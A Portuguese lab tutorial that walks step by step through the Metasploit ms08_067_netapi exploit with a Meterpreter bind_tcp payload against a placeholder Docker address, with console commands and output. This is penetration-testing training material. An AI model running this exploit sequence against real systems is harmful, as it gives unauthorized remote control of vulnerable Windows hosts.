Introdução
Neste laboratório, você aprenderá os passos fundamentais para usar um payload de bind shell no Metasploit Framework. Metasploit é uma poderosa ferramenta de teste de penetração que permite aos profissionais de segurança encontrar, explorar e validar vulnerabilidades.
Um "payload" no Metasploit é o código que é executado no sistema alvo após uma vulnerabilidade ter sido explorada com sucesso. Um payload de "bind shell" é um tipo específico que abre uma porta de escuta na máquina alvo. O atacante então se conecta a esta porta para obter um shell de comando e controlar o sistema. Isso é diferente de um "reverse shell", onde a máquina alvo inicia uma conexão de volta para o atacante.
Ao longo deste laboratório, você praticará o fluxo de trabalho completo: iniciar o Metasploit, selecionar um exploit, configurar um payload de bind shell com as opções necessárias e tentar executar o exploit.
Selecionar um módulo de exploit para um alvo
Nesta etapa, você iniciará o console do Metasploit Framework e selecionará um módulo de exploit. Um exploit é um pedaço de código que se aproveita de uma vulnerabilidade específica em um sistema. Para este laboratório, usaremos um exploit bem conhecido para fins de demonstração.
Primeiro, abra seu terminal e inicie o console do Metasploit. Usaremos o flag -q para o modo "quiet" (silencioso) para pular o banner e iniciar mais rapidamente.
msfconsole -q
Assim que o console carregar, seu prompt mudará para msf6 >. Agora, você precisa selecionar um exploit. Usaremos o exploit ms08_067_netapi, que visa uma vulnerabilidade no serviço do Windows Server.
Use o comando use para carregar o módulo de exploit:
use exploit/windows/smb/ms08_067_netapi
Após executar o comando, você verá seu prompt mudar para refletir o módulo de exploit atualmente ativo.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Observe que o Metasploit selecionou por padrão um payload reverse_tcp. Mudaremos isso na próxima etapa.
Definir o payload para windows/meterpreter/bind_tcp
Nesta etapa, você alterará o payload padrão para um payload de bind shell. Conforme mencionado na introdução, um payload de bind abrirá uma porta no sistema alvo, aguardando o atacante se conectar.
Usaremos windows/meterpreter/bind_tcp. Este payload não apenas fornece um shell, mas uma sessão Meterpreter, que é um payload avançado e rico em recursos que oferece mais controle sobre o sistema alvo.
Dentro do prompt do msfconsole, use o comando set payload para especificar o novo payload:
set payload windows/meterpreter/bind_tcp
O Metasploit confirmará a alteração.
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
Você agora configurou com sucesso o exploit para usar um payload Meterpreter de bind.
Definir a opção RHOSTS para o exploit
Nesta etapa, você precisa especificar o alvo do seu exploit. No Metasploit, o endereço do alvo é definido usando a opção RHOSTS (Remote Hosts).
Você deve informar ao Metasploit qual máquina atacar. Em um cenário do mundo real, você teria descoberto o endereço IP de uma máquina vulnerável através de reconhecimento. Para este laboratório, usaremos um endereço IP de placeholder.
Use o comando set para configurar a opção RHOSTS. Vamos defini-la para 172.17.0.2, que é um endereço IP comum para um contêiner em uma rede bridge do Docker.
set RHOSTS 172.17.0.2
O console confirmará que a opção RHOSTS foi definida.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
Agora o Metasploit sabe para onde enviar o exploit.
Definir a opção LPORT para o payload no alvo
Nesta etapa, você configurará a porta de escuta para o bind shell. Com um payload de bind, a opção LPORT (Local Port) especifica a porta TCP que o payload abrirá na máquina alvo. Este é um conceito crucial: você está definindo a porta à qual se conectará após o exploit ser bem-sucedido.
Usaremos a porta comum 4444 para este propósito.
Use o comando set para configurar a opção LPORT:
set LPORT 4444
O console confirmará a configuração.
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
Para ter certeza de que todas as nossas opções estão definidas corretamente, você pode usar o comando show options para revisar a configuração tanto do exploit quanto do payload.
show options
Você deverá ver uma tabela de saída onde RHOSTS e LPORT estão corretamente definidos com os valores que você forneceu.
...
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.17.0.2 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
...
Executar o exploit e conectar à porta de escuta
Nesta etapa, com todas as opções configuradas, você lançará o ataque. O comando exploit (ou seu alias, run) instrui o Metasploit a enviar o exploit e o payload para o alvo.
Agora, execute o exploit:
exploit
Nota Importante: Neste ambiente de laboratório, não há uma máquina Windows vulnerável no endereço 172.17.0.2. Portanto, o exploit falhará. O objetivo desta etapa é entender o comando e observar o processo. Em um teste de penetração real, se o alvo fosse vulnerável, este comando criaria uma sessão.
Você verá o Metasploit tentar se conectar, mas eventualmente o tempo limite será atingido. A saída será algo parecido com isto:
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.
Esta saída é esperada. Ela confirma que o Metasploit executou o exploit, mas nenhuma sessão foi estabelecida porque o alvo não era vulnerável ou alcançável. Você completou com sucesso o fluxo de trabalho para usar um payload de bind shell.
Para sair do console do Metasploit, digite exit:
exit
Resumo
Neste laboratório, você aprendeu o processo essencial de configuração e uso de um payload de bind shell dentro do Metasploit Framework.
Você praticou o fluxo de trabalho principal:
- Iniciar o console do Metasploit (
msfconsole). - Selecionar um módulo de exploit com o comando
use. - Definir um payload específico com
set payload. - Configurar opções específicas do alvo, como
RHOSTS(o IP do alvo) eLPORT(a porta de escuta no alvo). - Executar o ataque com o comando
exploit.
Mais importante, você agora entende a característica principal de um bind shell: ele abre um listener no sistema alvo, exigindo que o atacante se conecte a ele. Este conhecimento fundamental é crítico para a realização de testes de penetração e para a compreensão de diferentes métodos de obtenção de acesso remoto.


